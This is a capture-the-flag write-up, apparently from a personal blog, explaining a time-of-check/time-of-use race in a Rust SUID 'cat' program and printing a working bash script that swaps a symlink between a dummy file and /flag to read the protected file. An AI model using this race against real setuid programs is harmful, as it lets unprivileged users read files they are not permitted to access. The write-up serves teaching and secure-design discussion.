GPN-CTF superCAT writeup

Jun 11, 2026

Category: Misc

We were given a rust implementation of a stripped down cat. This is a basic TOCTOU attack. Infamously rust makes it very easy to make this mistake if you use the standard fs abstraction as they all take a path and re-resolve it every time.
A very good blog post on the pitfalls in rust's fs implementation.

Time of check

let file = Path::new(&args[1]);
let file_meta = std::fs::metadata(file).expect("could not get file info");

Time of use

let content = fs::read_to_string(file).expect("Could not read file as string");

In this we keep swapping the symlink between a file we own and a file we want to read but cant while simultaneously running the binary. Eventually we get the timing correct and get the flag. Essentially at the time of check we are pointing to the dummy file and at the time of use we are pointing to the flag and since this is SUID binary we get the flag.

BINARY="/usr/local/bin/supercat"
TARGET="/flag"
DUMMY="dummy_file"
LINK="link_file"

touch $DUMMY

# here we are swapping symlinks
(
    while true; do
        ln -sf "$DUMMY" "$LINK"
        ln -sf "$TARGET" "$LINK"
    done
) &
# here we are running supercat
while true; do
    RESULT=$($BINARY "$LINK" 2>/dev/null)

    if [[ "$RESULT" == *"GPNCTF"* ]]; then
        echo $RESULT 
    fi
done

This also stresses on designing abstractions such that path of least resistance does not have any pitfalls. As the default way of handling files in C is FD's which help avoid the pitfalls we see in Rust.

https://vighnesh-sawant.github.io/posts/feed.xml